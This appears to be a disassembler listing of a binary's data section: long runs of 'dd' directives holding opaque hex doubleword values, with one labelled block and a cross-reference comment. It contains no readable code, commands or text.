856D410h dd 0B0055B07h, 12AB7811h, 0B7C1FEE4h, 0D47BC701h, 0C0D5ABACh dd 85168AABh, 0B485C1E9h, 0B78169F8h, 0C9DFF63Fh, 3A7078D7h dd 1DFD5A66h, 0E7B5F05Ah, 0EF320E90h, 7FEA6723h, 54AD41F1h dd 982F7313h, 55F49975h, 1F2EA66Bh, 27202EE9h, 0D752D25Ch dd 94B56E20h, 25D84A86h, 0C748C5Dh, 15671B4h, 50CA0132h dd 3E907DE9h, 85BB6123h, 0F05F4104h, 0C8E28100h, 5176C25Eh dd 7C5AF206h, 700C789Eh, 7559149Bh, 0B3A76329h, 0EF368F8h dd 66905312h, 0C386BDFDh, 12691A8Fh, 224255B9h, 8E61587Fh dd 8368162Ah, 1613F32Ch, 0C3B75CE2h, 122ED951h, 6CE2FB00h dd 5D48ECA6h, 0DCC1A485h, 0C9342244h, 0E3C0EEFAh, 0C45EE23Ah dd 0CEEB706Eh, 68510001h, 43930ABAh, 1EE92759h, 4FDF1FE8h dd 174E98F0h, 8C9EBDE9h, 0D22561D0h, 5203B2A0h, 0C212AE25h dd 0D4ED71Ch, 0F635E918h, 0FAEAC030h, 471E680h, 2C5AD028h dd 90A8C219h, 0C9F0F177h, 2300D8C4h, 390578DEh, 2533D57Eh dd 26C297E9h, 0A5EFE176h, 0B3EA92A0h, 0D33A8533h, 0E884D7D4h dd 0DBA5EC0h, 7E7C69A1h, 5DDA2363h, 0CE768783h, 2C44911h dd 98F3301Ch, 14E908DEh, 0C5237F60h, 7BCD664Eh, 2FD15869h dd 0A9C4AC4Bh, 0C05C8F20h, 172BF541h, 0D0C018EBh, 7B226F9Bh dd 21B40935h, 7FD62303h, 42770D00h, 20E92B26h, 68053C40h dd 172C2098h, 0AA5664C1h, 0C1CDD952h, 0B26A5874h, 683E10D0h dd 200EBA02h, 13F55381h, 0BB30BF3Ah, 9F0158FDh, 9E95060h dd 96348E95h, 9E20A5B1h, 70408124h, 6BD4ADEEh, 0DC533F74h dd 588C4B32h, 9B411F6Dh, 0A1F77D5Fh, 6E924A89h, 0F355B406h dd 9332C202h, 7F9757E9h, 0ACF48F25h, 0F6052774h, 2520AC5Dh dd 0E9DE015Fh, 7C7FEC6Ah dd 0FA6E48B0h, 0D9A60245h, 0A06D75A2h, 0C1E654A7h, 7E642668h dd 0FA4FCF8Bh, 9A09FF52h, 60435C25h, 5D4E6857h, 44BBFB95h dd 3080753Ch, 90A16266h, 0CCE33BD9h, 22325875h, 4B3AC506h dd 5D28182Ah, 0EEB0F835h, 5FDAA70Bh, 0F4CD42BFh, 2A72594Bh dd 6856A207h, 381574F0h, 0FCCCB05Eh, 0E2C5001h, 7FF4B76Dh dd 271B9860h, 96779560h, 0FAD782F8h, 41515C03h, 77928C39h dd 176EFD3Eh, 0F4B8FE7Ah, 2C2314B2h, 4D1E2428h, 1A0127C3h dd 0F8E0C680h, 0A491AFB9h, 0BD1CDC25h, 0E8B7D792h, 98BEE465h dd 5EB8FE82h, 2E3FE520h, 602725E9h, 7B330ED6h, 69D7F726h dd 5D012609h, 682D1FE4h, 0D7A24966h, 2B6CE955h, 5F0BCABDh dd 89572781h, 9B927F89h, 263A64D7h, 52D95E61h, 1630E15Ah dd 0A2E31D2Ah, 6FB62F03h, 2788FF2h, 89239016h, 0BD04BDC7h dd 9FDA75Fh, 0AD25BB1Dh, 0E93A14B1h, 8D54CC87h, 0FEC22DCCh dd 0E88459BAh, 5CB5B08Ch, 3DB40D05h, 0DEF848A0h, 3CEAE060h dd 4F984686h, 5D7B8D09h, 8ABF048Eh, 438ACDEAh, 0A70077FDh dd 0E4C01CB4h, 7DEC8003h, 0D28D7629h, 16FC0F6Eh, 8E02DFDCh dd 0D1075FC2h, 200FC95Ah, 0AE81E1E4h, 131829A4h, 0BE6AB252h dd 0CC999A91h, 0F43A73Eh, 0C682EB80h, 6CC6DC4Dh, 0C690365Bh dd 63BEFC5Fh, 11E25499h, 0B1515A68h, 0C980E200h, 0F6F18625h dd 6C08DEDEh, 3AFE1F58h, 45389B1Ah, 0F954135Fh, 0C29C719h dd 9CC7B0D7h, 0C0A96EE3h, 0CF20CE4Ch, 4E8EBE01h, 0EEC11308h dd 330D70D2h, 810BDEF7h, 0AB1CEFD8h, 8E9A113h, 92FEE2C4h dd 0EBD0C5EAh, 315C5895h, 58541CA1h, 0FE5DE221h, 0FAE46F48h dd 0C1E7FC99h, 632B21EBh, 9C48842h, 0E80110C0h, 8106D4B0h dd 4E5FDB28h, 17F6F09Bh, 0E87BCF2Bh, 635E3040h, 0C03FB1E9h dd 6547EBF7h, 7A9D31F4h, 5E088360h, 9E46BE1Ch, 533C289h dd 0C8A1B0C6h, 59B1BF03h, 792108F4h, 0D404B053h, 0CB0E3704h dd 0EAB7FE6Eh, 764647C0h, 0CDD8E7D7h, 8C283CD8h, 25D345ACh dd 0D42D73D4h, 0B03C7811h, 0CF1620DCh, 1E5CE306h, 0DF6197FDh dd 2002FBB4h, 0B33551BFh, 0C635E67h, 0E60CD26h, 0F5BB2360h dd 58F668F4h, 0EF3F1908h, 1C5F0B19h, 0E7E83A2Dh, 0EE75F05Ah dd 3EA04605h, 0ED19F187h, 16D98108h, 0B7C15FF8h, 0A4ACEEFBh dd 0C9B7B80Dh, 534CB07h, 8A2805FBh, 6ED7CD53h, 57B22AB8h dd 4D6F13E0h, 81353238h, 22964231h, 9A352DE9h, 0CCB0E06Ah dd 4BE781A0h, 0FB83D3DDh, 0B0A6372Bh, 716EC8C1h, 4D0CC120h dd 2A96659Fh, 0E90CCBBDh, 5DA2E291h, 0A30ABF04h, 94BB6E7Fh dd 960EE907h, 4158C2FFh, 5B122FF0h, 8304D488h, 0EE13F1BFh dd 2D3C5DC1h, 0B50B27Bh, 5704E468h, 28981EB0h, 0BE26A901h dd 0D956D76Ch, 52F6A03Eh, 5C4FC098h, 51958D37h, 0C502D1BFh dd 46B42B58h, 5C17CBA1h, 4DDA5C0Bh, 2551565Ch, 5223F6F6h dd 4399EEA2h, 0E1FEC125h, 0F17D30CFh, 66FE5C09h, 6828B250h dd 1220B4EFh, 105D1D9Dh, 2350075Ah, 62C988B2h, 4070AFA1h dd 3B1114C0h, 6D041B5Ah, 0F812E3FBh, 60371854h, 1ED0F635h dd 0D241AB6Fh, 16BDBC76h, 0D9AB5F54h, 0EB442FDEh, 0C9AA77A9h dd 7D42F6F2h, 3E4DB0FDh, 0BD51825Ch, 1BDB8125h, 0F52E76A1h dd 2C28D511h, 6049E215h, 97FECD71h, 2F080011h, 315A1007h dd 623502D9h, 2CC320FEh, 0D15FF2FCh, 0F81A1E0Eh, 3C8BEE1Bh dd 0BECE1C37h, 638797C0h, 50C454Dh, 0D4BFB07h, 0B41160A6h dd 2D2BB036h, 105E2867h, 90878C4Ch, 26AE6A3Dh, 14EC0E8Ch dd 0DC357A43h, 0E1B80B4Eh, 0AFC2C813h, 614AF08Bh, 2F477F98h dd 402930D8h, 0F57288CAh, 5D59EB2Ch, 7D7CE30Eh, 0C4ACECD6h dd 27D29870h, 5B94ED1Fh, 0D441EF47h, 0F4068D32h, 0AC4FEF8h dd 0D0B3A01Eh, 0F6F2F380h, 975366DBh, 712FE572h, 35147D5Ah dd 6E454B01h, 0E4BAE902h, 0EC25C022h, 9108EF7Bh, 9C5D27B3h dd 0F1D3B505h, 0DF23E962h, 0ACB0027Ah, 503B7A9Fh, 419B95Eh dd 0E97CC874h, 0F6A2F0D2h, 0BA8CD74Bh, 8B985CB4h, 0B77420h dd 4428A96Ch, 503A9A27h, 3DBFF4Bh, 4370217Eh, 5031FB87h dd 92B333B4h, 0B5518950h, 9C96FC9Ah, 0CD5C2578h, 49DC975Ch dd 0FEB5C161h, 0DAB2B36Bh, 0AD18C032h, 40FF83EAh, 393B314Ch dd 0DA5A3AF6h, 2CAA526h, 3D700E62h, 0F15ED1F7h, 23088403h dd 575AAA46h, 334A0962h, 0E2DB5977h, 95DF1E9h, 0D871D556h dd 98571EA5h, 0BA9FC147h, 6BB1697Eh, 0FCAE54C4h, 0FE825E9Ch dd 0AF425557h, 25C2FEF6h, 69055ED2h, 2D114EDDh, 17982E39h dd 10C294A5h, 54319268h, 0B49690Bh, 5B213E09h, 3D38B9E9h dd 76630C74h, 0E6764518h, 0B8EE3180h, 5DAE4011h, 0D248E4FAh dd 3B79E4Eh, 0B2F198B5h, 8516126Fh, 629BFE79h, 226A4E51h dd 3F7EA8D1h, 7F057424h, 0BFE0E51Dh, 5D879F04h, 2F6991C6h dd 93EE906Ah, 11352D03h, 0ACD10A88h, 477734B6h, 10794078h dd 68E1D4B6h, 0E76C317Bh, 0AF7508C5h, 0F8503449h, 0DB1B204Ah dd 90FB5E65h, 883056E1h, 89A7C47Ch, 5BBCB10h, 0C550E95Bh dd 1D37A5C8h, 8136FB05h, 0A438A8CEh, 5E176049h, 7D8B4212h dd 3CDD40AFh, 96D249Bh, 7BE9F517h, 1C5F3549h, 0BECE4F23h dd 0AA823C27h, 4923DADFh, 40708434h, 5B0E5911h, 0E9EC580h dd 0B2EDAEF5h, 44FA4395h, 0B3234202h, 0B65280DBh, 0E4EE80E4h dd 7E33702Ch, 8441E9F0h, 0BE05D9C0h, 0A107F20Bh, 2896EC4Ah dd 0A6F70805h, 14165813h, 2EC522FBh, 0F0314D48h, 8998C6E4h dd 60419212h, 0E9FE1A02h, 0F1595818h, 0F7BB316Bh, 47EC3B14h dd 8363C2A4h, 0E4FA5C05h, 73134D32h, 1D083C71h, 0F52107EDh dd 2FFD865Eh, 0C1B0E397h, 0D96AE044h, 46C900D3h, 5EC9F832h dd 5B3DA588h, 5EF98BABh, 0C7152EE5h, 9015F7BBh, 45610285h dd 0C1291DDEh, 176A7F72h, 566BD6Eh, 702557F4h, 76EAB2FBh dd 90D7C94Bh, 0A3BE14A4h, 2456D437h, 0F888FC9Dh, 55093D27h dd 4971FEE1h, 21742B08h, 3AF101DDh, 6A27C8A9h, 2AB941A1h dd 47A75BACh, 19D5DB4Fh, 7DC52915h, 0BCE28BE9h, 4176B07Ah dd 611620BDh, 0E1CE6B24h, 67C00217h, 9D01F368h, 90F2698h dd 0D918AB2h, 94D27112h, 0F16C75E3h, 1FB8EB05h, 0B1BB791Dh dd 0BA080467h, 0C9D190E3h, 0F464FED7h, 6952C082h, 7DC02C84h dd 3BC99D5Eh, 9145F41Eh, 7BD7215Ch, 0E9C3DF54h, 2F0B8C25h dd 5F78C504h, 356280BEh, 44488365h, 1C820628h, 0B1824E8h dd 0E684DEDh dword_4F0044 dd 35082A7Bh, 0F1672D38h, 0FB955DA8h, 10C501D2h, 3A23024Eh ; DATA XREF: ___:0042CC8Co dd 805E2F5h, 681FA4EFh, 79060A26h, 97FB8BC5h, 0EA137F97h dd 6802E1CEh, 4D0774D4h, 0E908F148h, 0A3C86733h, 8EEBB9F8h dd 71BD0E80h, 8178170Ch, 9949E538h, 18E4C30h, 38E9538Ah dd 92529DF7h, 0E83F4E0Ah, 4D9121B8h, 71782700h, 0F084EBD5h dd 6A9B8A5h, 8E0F5A6Dh, 0BFEC2903h, 0C281CB06h, 6E136FA6h dd 0BE001D8Ah, 43E59868h, 7C9FB2A0h, 0E0660CCEh, 8BA17EF3h dd 3DC0FA02h, 3C1396C3h, 0F04D00B3h, 7FDEE745h, 2023B730h dd 4808A54Dh, 98138C42h, 43E91C29h, 57F88B60h, 0A9DF5002h dd 0D4615B6Fh, 830C1803h, 1200FB49h, 7C46A794h, 27E21640h dd 498E2B51h, 59575BA9h, 850F0961h, 56963A63h, 8FBBCB3Ch dd 0A0A7AF16h, 0F117E633h, 12B100F3h, 75D27D40h, 89008F57h dd 0E2EE853Bh, 7834411h, 0E15372ACh, 3319C0C2h, 410113B9h dd 2179AAF7h, 518A8997h, 0DE04A827h, 5D131618h, 0A78F10h dd 0BCF0E2DCh, 0A8290CB4h, 4C9D1C00h, 30167F7Ah, 34870690h dd 29DB328Eh, 0E11C842h, 854214Bh, 0DC90D91Bh, 44589B84h dd 515D8E88h, 0DF8872D7h, 57693F6Bh, 0C7B99300h, 0B2D7BE3Dh dd 1B12F000h, 0E1B1A568h, 48755Fh, 0F83E2E44h, 4B7179CAh dd 9E8DA601h, 0D7DC29D5h, 77214AD4h, 0E18E000Dh, 6978B8F2h dd 0CF03C112h, 7FA215B3h, 5D81C04Eh, 41EE14h, 42F372E4h dd 65ABDB2Fh, 87018570h, 0C40E5401h, 3A20D07Bh, 66F800A3h dd 7DF23A18h, 12000F2Fh, 15C219B5h, 3975A6Fh, 8E8B9311h dd 748817EFh, 0C078AFF4h, 70006E70h, 0F0F74A18h, 9B0575h dd 0D72CB873h, 0A9E892D6h, 4BFA310Ch, 47189Ch, 58686165h dd 6BBEBAA4h, 0F7019DFEh, 1144B123h, 0A8E0D0DAh, 0C67A09h dd 39350C7Dh, 9FD142B4h, 11A4403h, 90306F25h, 5D6A80h dd 3B221578h, 757416B5h, 64BC2307h, 0AA70D2EDh, 434D18h dd 9D04C33h, 0A538125Dh, 20825A00h, 17A0217Ch, 0D9720063h dd 0AE3F550Dh, 3C48435Bh, 7040028h, 0B7B2790Eh, 6229005Dh dd 14D6EBF2h, 8C003F1Eh, 38545C8h, 759D96Ch, 0ED9CE1C2h dd 0BA5F1015h, 790FC3A1h, 0C0FBF84Ch, 0C5F0C7B7h, 0A4DCA08Dh dd 3961C0Ch, 8146807Ch, 0D9267A5Ch, 70134E00h, 0F7D5CAD0h dd 0AD100793h, 0E13F9A12h, 0C456FF45h, 0C70162DEh, 1C792909h dd 72803B9Eh, 0CA7FDB3Dh, 0FA06982Ch, 41489B69h, 1177F8h dd 45046EE5h, 0CE03ACD5h, 9F354712h, 3B149400h, 0B04D27h dd 811D5749h, 44F28B96h, 0F6400401h, 456F3FD8h, 0EE55BFECh dd 0AD003F5h, 0B87B1013h, 6A31A0F7h, 221FA686h, 23C3DDACh dd 0B873791Ch, 0DEA49C09h, 0C221C0B0h, 1556A7ECh, 31E9751Fh dd 13D4A2C0h, 0E449A830h, 0E424E776h, 2EAE00DAh, 155E5F86h dd 1800C503h, 2CB3D272h, 7BC375DBh, 6F520F62h, 15202E84h dd 0CA8CC220h, 1A855900h, 0E2C68E91h, 836C02BAh, 0BB3A22C9h dd 647709C0h, 0E5BD2D07h, 58C6F913h, 787F6530h, 1BC830D2h dd 0A3011623h, 0BCEEE342h, 5280252Fh, 0D8D2861Fh, 0D31DA9E5h dd 630072BEh, 0DB30C4E8h, 765200D4h, 89F175A8h, 0BF0337D7h dd 0D83D8AD6h, 0A791F077h, 97ABBh, 0CDE0F394h, 12595FB5h dd 7B605A00h, 1B4223E6h, 8FF0009Eh, 0B0B4A566h, 6700AD01h dd 0C85875B8h, 0A62787h, 0CBEAF01Ah, 0BB32457h, 0FEE31C00h dd 0FDE2BD78h, 8640C19Dh, 0F8930F41h, 0E6000723h, 0B22FA475h dd 30F0F517h, 0B6F996EEh, 8200941Bh, 13E47463h, 0B031C4D1h dd 0F5221EB7h, 0CC5CC0B8h, 0E1DA397Bh, 0EB51CE00h, 598044B2h dd 0F46A0177h, 2BBCC50Fh, 3EE1C405h, 2F0095E0h, 0C1A78CD3h dd 0EBE24h, 48C7EEECh, 8310B8D5h, 54439A01h, 0C4C9F6E7h dd 15B2F041h, 6BEC1EC1h, 69E338D9h, 1BA16E24h, 598820A7h dd 0CF0B3EF4h, 3162607h, 0B0113418h, 0E8CDBEh, 0C4F7E29Fh dd 237A64B2h, 4B511804h, 388017B6h, 4E411Fh, 594C9C7Ch dd 3EC07A6Eh, 79B7EB00h, 0A0BEEC9Dh, 0DD5C1CC2h, 3A6137Bh dd 595A8C98h, 0E6D461C8h, 73004877h, 9C9F4367h, 1F78DFEh dd 71F833B4h, 0E40768A0h, 66164B79h, 0C20031FAh, 0EA76691Eh dd 0AA1001F5h, 68481464h, 0B0BC20A6h, 80CD1901h, 0DD7B1A42h dd 0CB1CD4h, 215E9D14h, 6CEA3305h, 5500DC9Ah, 34357B13h dd 4D9ADD2h, 85CE6A12h, 0B0C0C7FDh, 1FB209A3h, 0CCB8741Ch dd 0E0FC8DCEh, 0CAE117ABh, 84541D9Ch, 0A50E0013h, 0BD185A47h dd 0D829AE01h, 1EB0F942h, 57D2D4h, 3D8F5CCAh, 0D0D9888Ah dd 0DC608609h, 8744A78Bh, 30004274h, 971C7413h, 2EB19500h dd 86E3CD9Ah, 54EE0078h, 15D80BFh, 0E000BD9h, 55BE6ECEh dd 4CC776E8h, 0B300CC29h, 0C42308F6h, 0DCA8D4CFh, 390074A0h dd 0F27695F9h, 1C095AACh, 80431EA1h, 6B6E84BDh, 0E4009CA4h dd 0F961CB40h, 72BC35DFh, 0DC370094h, 0E32C4448h, 0A4173D5Bh dd 802218Eh, 609E1A93h, 0CE56DFh, 0FFC92D67h, 73F580D8h dd 5A548D0Eh, 0DD2BE026h, 0B3CACBh, 7E11BB21h, 0D0606DC0h dd 0BC7B0F7Dh, 0C1FFD400h, 0BF3ADA6Ah, 9DB7003Dh, 8F439E8Eh dd 0A037330h, 1EDE5BD1h, 9925E060h, 0A67E0006h, 0C376DB3Ch dd 28776D2Fh, 30BB6600h, 0A550AB8Ah, 0CE930006h, 150AD575h dd 0D000E831h, 139DBC45h, 38ED691h, 0DB3B7B33h, 6A48151Bh dd 43B80090h, 0EB662D51h, 16203822h, 0BA0348D9h, 897CFE82h dd 3DD0F78Bh, 60FE14ECh, 49A1B100h, 0F6F34E73h, 341100BDh dd 3BA28630h, 89586145h, 8050384Ch, 842D13DAh, 40A417h dd 0DD37EC05h, 9BCE53D4h, 87970D00h, 5F225A51h, 65700408h dd 8058B91Ch, 39B41046h, 7F02BD00h, 488B0CF4h, 1660B022h dd 40600516h, 0DACB2904h, 0A1001BC7h, 0B2EE7324h, 788A05Ah dd 14402734h, 0D011340Dh, 2B547CFCh, 1A44D58h, 0E5E4D5CDh dd 99CC269Eh, 0DB73003Fh, 0ED3D1C14h, 6B1C79B1h, 7EA8EAh dd 0C73AA75Eh, 0B829BC3h, 0FA438CB9h, 8BD26B80h, 283EDC0Dh dd 695CB15Eh, 0A840642Bh, 75B4E9BFh, 3100177h, 0ACFAE179h dd 3D64D40Ah, 0F836F3Fh, 0EFCC89F4h, 497003Bh, 1D4831DCh dd 40F1EDD6h, 88A412A2h, 0A97B3399h, 649F0400h, 0C20809D8h dd 0E57300ADh, 44962657h, 2206869Ch, 0DA60B327h, 0F3A60011h dd 381C8FADh, 6701F53Bh, 54E4B178h, 22C485E1h, 2BFB00EFh dd 2ECB0DC1h, 4B00629Dh, 0AB2F69D3h, 6AD3Dh, 0F786D1FDh dd 2DAAF387h, 9C001C90h, 4A13B59Fh, 588406CFh, 7000E5F9h dd 646646ADh, 0EE00DD61h, 0D07123DBh, 447A68h, 7ACBD95h dd 0A1DAC763h, 140EF40Eh, 491D616Ah, 1C20985Dh, 3CE4037Ch dd 2234D416h, 8C9D4EF0h, 1043FA1Fh, 9FACFD00h, 0BE293Fh dd 14FEF835h, 0EB40D2D7h, 4C0C6001h, 2F102AA2h, 914BABD8h dd 0E6103D00h, 0F8F58089h, 31FC3h, 71D74227h, 0D65D0D75h dd 0FE1C5A7Eh, 2392049Ah, 2687FC00h, 61BBE2h, 316BD24Ah dd 84DD03BCh, 9177F100h, 83AA2E48h, 0CFF01Fh, 7F2627BEh dd 71B4820Dh, 43D46400h, 0D815B921h, 5EA6083Bh, 0B30038E6h dd 6A49291h, 0ACFF0E96h, 722F84h, 4990032Bh, 941E7C47h dd 0E4569D1Ch, 0AF0ECF00h, 86ED9Ch, 6C73EAD3h, 822F8B18h dd 2739EE77h, 0A220007Ah, 928E3F0h, 2C4E39C3h, 5225EF00h dd 42E210A0h, 0C0994Ch, 0E6FB40DAh, 6E5F17h, 0A1C8E18h dd 0EEAA1993h, 24A24B07h dd 4133167Eh, 0DC6CB05Ch, 35710338h, 0F4630619h, 8FE979C1h dd 0E0969419h, 3B5624A7h, 18B80020h, 0B0677926h, 7D078165h dd 903853A8h, 0EAACA201h, 6391A5F8h, 0B9E04130h, 6689E3A8h dd 0CBC4FB07h, 92F373A3h, 1646E00Ah, 30E6E4A4h, 63306D55h dd 20093E7h, 0EA6F2330h, 0DA4050h, 0B4CE9CCCh, 0A171E4A6h dd 3D6A3E00h, 0A49639E5h, 5A3100C0h, 0B5ECF4E9h, 0A6009389h dd 608C92AEh, 30DDA82h, 0DDF16227h, 68AE047Ah, 37959101h dd 4FB3C488h, 487FFCh, 0BCF93A5Fh, 1345B98Ch, 1E63A800h dd 7E0DDDBFh, 82D006Eh, 7AE9FC1Ah, 37004396h, 0A9EB6DB1h dd 4B739Dh, 0CFA055DDh, 0C52847F4h, 0F2BE6400h, 0BFCA1B77h dd 90CD00B0h, 99B568F7h, 22002B07h, 0B8122139h, 1DFD45h dd 461438DDh, 16303506h, 80521000h, 81BE7AAFh, 0FC900094h dd 0A5423B36h, 0E33D05D5h, 0B09BAC6Ch, 8FD28480h, 0E07FFh dd 95BAC9A4h, 936D2AA3h, 0FCA22C00h, 0B1274CC2h, 44AE0058h dd 777020A7h, 854992E5h, 0F12607E0h, 890FBBh, 1A1E7A14h dd 873800B3h, 81AAD9D6h, 0C7038408h, 2AC20B75h, 9FF6A8C1h dd 0BE3B00D3h, 7BF78BD7h, 0FD00E711h, 0ED73AB4Eh, 3500BBDh dd 6C1EFEF2h, 96A09E59h, 0FCE276ACh, 0E8A04601h, 980680A5h dd 42D1E0h, 499FEF94h, 0AB57A765h, 0CDAC3601h, 341B7A72h dd 0B1E0DCh, 396D47Ch, 925159BBh, 8B50C500h, 75A8284Eh dd 0D13100C2h, 59C6C455h, 28B89A7Ch, 0BDE5A900h, 0B728573Dh dd 819409B1h, 0B80069D9h, 0A8D1B64h, 9C72601h, 63DB4EF6h dd 386983FCh, 300B37Bh, 8C74577Dh, 2A00F094h, 0A3B6DAC5h dd 126959h, 0D59F4487h, 2065CF68h, 2C272300h, 18F22B86h dd 517515h, 74A44797h, 668FD3A6h, 9C41FCEFh, 0B5933A01h dd 0ADB4954Ah, 581020h, 0B67C9D3Bh, 43F93D0Eh, 784F8358h dd 8B0DBB09h, 1768E1A2h, 0F2A4A5C8h, 5B30009Ch, 14F6E321h dd 0A3002A3Ah, 5F6E74D8h, 0B5B48Ch, 0FDEC8527h, 0C6C73DCFh dd 1DF7A200h, 50AD4C11h, 0EE0B0052h, 0A51CFC0Eh, 60C180DEh dd 222404A8h, 7001A03Ch, 6C87616Bh, 369BD073h, 6E185063h dd 0E08AE3A3h, 637A0380h, 0B8A43121h, 43C9BCC8h, 0E9B6291Dh dd 4ECF1D01h, 21F87F7Ah, 6F023A44h, 37FA1400h, 2FC12503h dd 7D8578C1h, 0E9835D5Bh, 7683BBA5h, 0D2342BA0h, 0B02C4300h dd 0DF86A161h, 49106002h, 290198BDh, 0E371A800h, 6B0DB2E5h dd 57F70B8Eh, 8E012439h, 0D8CF8A13h, 5E0012FCh, 6118B31h dd 199545h, 0BC980F3Eh, 8ECC87B3h, 0F2009B7Dh, 95C4BB79h dd 64219Fh, 52441DA4h, 0F8FC6ED9h, 7828CF09h, 42070048h dd 0F5DCC8h, 66D1BE6Fh, 0FFB3F59h, 9C0BC700h, 0D368A06Ah dd 19F903B2h, 0CB756E8Ch, 0B48954B0h, 0E22BA300h, 0DA0DDCD5h dd 8F8C084h, 4BA07202h, 0B395A3Ch, 483A0157h, 81A79E64h dd 0F105D08Dh, 3056D638h, 2595213Bh, 0EA9C1862h, 0E7B31026h dd 0BA76720Ah, 57171CEDh, 0D802BB0Ah, 516982BDh, 0A09FA1C4h dd 0F9553EBCh, 1154600Dh, 0F7EA4728h, 27D2020h, 0B0F31BA8h dd 201382BCh, 55446549h, 2E073428h, 0E05050C0h, 0CA9C5D0Ch dd 700042A1h, 0F0D877A0h, 4334D7h, 0CF50DCB5h, 4A86A78Ch dd 847C4828h, 0BEE2C603h, 72D8BAh, 0D1FFAA10h, 40EC39Dh dd 0B1032F0Eh, 0A6021F81h, 43D7C6CFh, 40601038h, 0B43C7C49h dd 59881BB6h, 1C72FB10h, 0C37B19C1h, 6675F87Dh, 8F9EFAD0h dd 0F4930500h, 0EBDDFF3Ah, 2E678F7h, 0C3262085h, 0A880B989h dd 7E3260B8h, 0AA7A50C1h, 0B450F616h, 7C4652h, 0FDFF5B2Fh dd 0B9D4DB0Fh, 0C716EC0Bh, 715680DFh, 0A49972h, 0BC5B8A8Fh dd 4A2D05Ah, 0AE7F7B00h, 894CA60Ch, 0F87C0DF0h, 0F0D0EC02h dd 0FC015214h, 0C7DAD8A7h, 0C41FA1Eh, 0C2EDEBE6h, 1904D4h dd 0A63194A7h, 7E6BA376h, 0CC174095h, 2DA100CBh, 9A228A5Fh dd 51540E2Fh, 40EC82D8h, 78ABFC00h, 0F1D34A6Dh, 0F6FCAAh dd 0DA5AAEC3h, 264C01B3h, 81938A0Fh, 3AF8D4A6h, 273402CEh dd 0A2BE0358h, 0A0EA16ECh, 0A5B48784h, 8C590B7Ch, 0ED86F2BAh dd 5E00AE40h, 221BC524h, 3C7F3A2Bh, 6D1FD7D9h, 88D4072Eh dd 76855F27h, 1614071Ch, 97DBC7CDh, 0FD5C9081h, 900F802h dd 458C04D7h, 16329CD8h, 1FA0D1Eh, 259A509Fh, 38EDF018h dd 7C2B2E1Ch, 7DD68500h, 511E40h, 0B363BFFDh, 0CE1BB7Fh dd 181C2800h, 24755487h, 0C825185Bh, 0CA402066h, 6ED1EE0Ah dd 0FB702084h, 4A0E8C25h, 4C91C819h, 53889Dh, 88BD3944h dd 0CB31B33Fh, 0D6D9B0C0h, 37F4FC30h, 803E8911h, 0D81E4876h dd 2E608100h, 2410F82Ah, 0C0E20020h, 842FBC08h, 0E11AD086h dd 32813D9h, 0C823FCAAh, 2A3942h, 0ECDEAD95h, 86DC99C6h dd 0FE2680CFh, 9F209106h, 42580010h, 82F8FB2Bh, 0E4601DB3h dd 854C7D90h, 0DE313E45h, 611AB198h, 760C108Ch, 28C439B3h dd 9051512Ch, 0F6A00E2h, 0C900BB47h, 0D4E58ACh, 18E7A6D6h dd 40D174E1h, 65E6FC1Eh, 0F1E20600h, 0D88F7E88h, 611260D9h dd 0A43B3857h, 61CD0A1Ch, 0DFA74140h, 6FB5B8Bh, 712C6BCBh dd 73A0488Ah, 0B001121Fh, 52EE2A08h, 0E3E025h, 0F21E6688h dd 0DA747081h, 0C9B879C0h, 0C5124FEh, 591A15C0h, 21C0ED09h dd 32FED118h, 0CE7C0EB5h, 0FFE16DF4h, 8194711Bh, 53696471h dd 0EDC0252Ch, 0EAA1F19h, 3FFF87B0h, 3101D745h, 0C103EE3Ah dd 0A380911Ch, 21FEC680h, 448CD851h, 0CE031DECh, 76B16DFEh dd 0B0C97A77h, 0D49751BAh, 60500EF0h, 5119E10Ch, 6250C405h dd 7B24D778h, 52871834h, 288C6084h, 0A1DC0080h, 7079F6D3h dd 8A09412Ah, 0B846C9h, 943BBD28h, 22213D05h, 0BC18C080h dd 0CEECC531h, 903AE10Ch, 3B53A1D9h, 400C754h, 0F91826F7h dd 0B800AB76h, 0F4329549h, 54D9D4D7h, 1F3EE41Bh, 0BA754423h dd 9B349D0Fh, 806A08B9h, 442AD921h, 746EBD2h, 0E3A20E29h dd 0CF7433D1h, 9EDD7100h, 0EE99803Dh, 705D15F8h, 0E22EC493h dd 0AB2100B9h, 62CEDC1Ah, 1DEE9A00h, 0C1A66FBEh, 0C0AF00B3h dd 0BAECB21h, 25486145h, 0F0680064h, 43FED6DCh, 9C88D019h dd 3D592908h, 9B00DFACh, 0BBD0C8CAh, 0CCBF7B7Dh, 7F212C08h dd 0A99B2D00h, 7BA63E8Fh, 0C6760F4Eh, 0DC6C3B33h, 203FEB9h dd 0C9B2B5FFh, 902AC267h, 89B2430h, 0BC28C8CBh, 7E403864h dd 22AE9B2Ah, 283F841Ch, 0A00CE749h, 0B3F7681Ch, 73A0A80Eh dd 9671C0D0h, 8B47D760h, 418C9200h, 44C6D18Fh, 31D60567h dd 40837029h, 5B75A19Ch, 6C0F7A22h, 1902DC38h, 21808E08h dd 365B6EC4h, 6C98683Ch, 66B40510h, 949A1C78h, 0FDFC8717h dd 5290802Ah, 9B165F49h, 3EB9DDBh, 17D9CBA1h, 85CA100h dd 2CF7AF88h, 74C700F1h, 933EDB26h, 1D500964h, 33F01C8h dd 2FC4D4F9h, 9ADD1C8Ch, 88C051C8h, 27718036h, 0C7C2309Bh dd 72D43B00h, 0A92D52A5h, 0E7B0C608h, 0FE0E8914h, 208D1E89h dd 0F2C55F21h, 31DB15DAh, 76808C2Ch, 0A47A215Bh, 6FC30387h dd 0C6A8725Bh, 0B0B81089h, 0CBF01800h, 5992543Ah, 0E99C032h dd 0DC7F588h, 0D3282B09h, 0B2CC006Eh, 3C7F9152h, 590769C6h dd 0C02414B0h, 648F45BBh, 0B49A1573h, 6A428A00h, 462D017Bh dd 7441001Dh, 0ACCA1408h, 0E6002783h, 71E95FB1h, 604E5D0Fh dd 0C0DF783Fh, 0BFF2475Ah, 0A66EAD03h, 0D32001DDh, 0EF993A46h dd 6618F180h, 0BD74B47Eh dd 28FE2107h, 5C237C67h, 3929002Dh, 7BBCAE44h, 0A50748D5h dd 57DB2720h, 3C0000D9h, 0B38FCBB0h, 262C0B08h, 28862780h dd 6860E811h, 58C5D519h, 0F81A0024h, 85F062ADh, 0C9003A67h dd 3406EEFBh, 1C74214Fh, 2D7F2h, 2FE8D65Ch, 760081F6h dd 28299782h, 1253B10Ch, 149D6BDEh, 5001AA34h, 6CE748ECh dd 0B3C44087h, 3D4C0376h, 6C9818Ch, 47001C60h, 0B06680DFh dd 4CE0F228h, 5ACC6898h, 0FE10B130h, 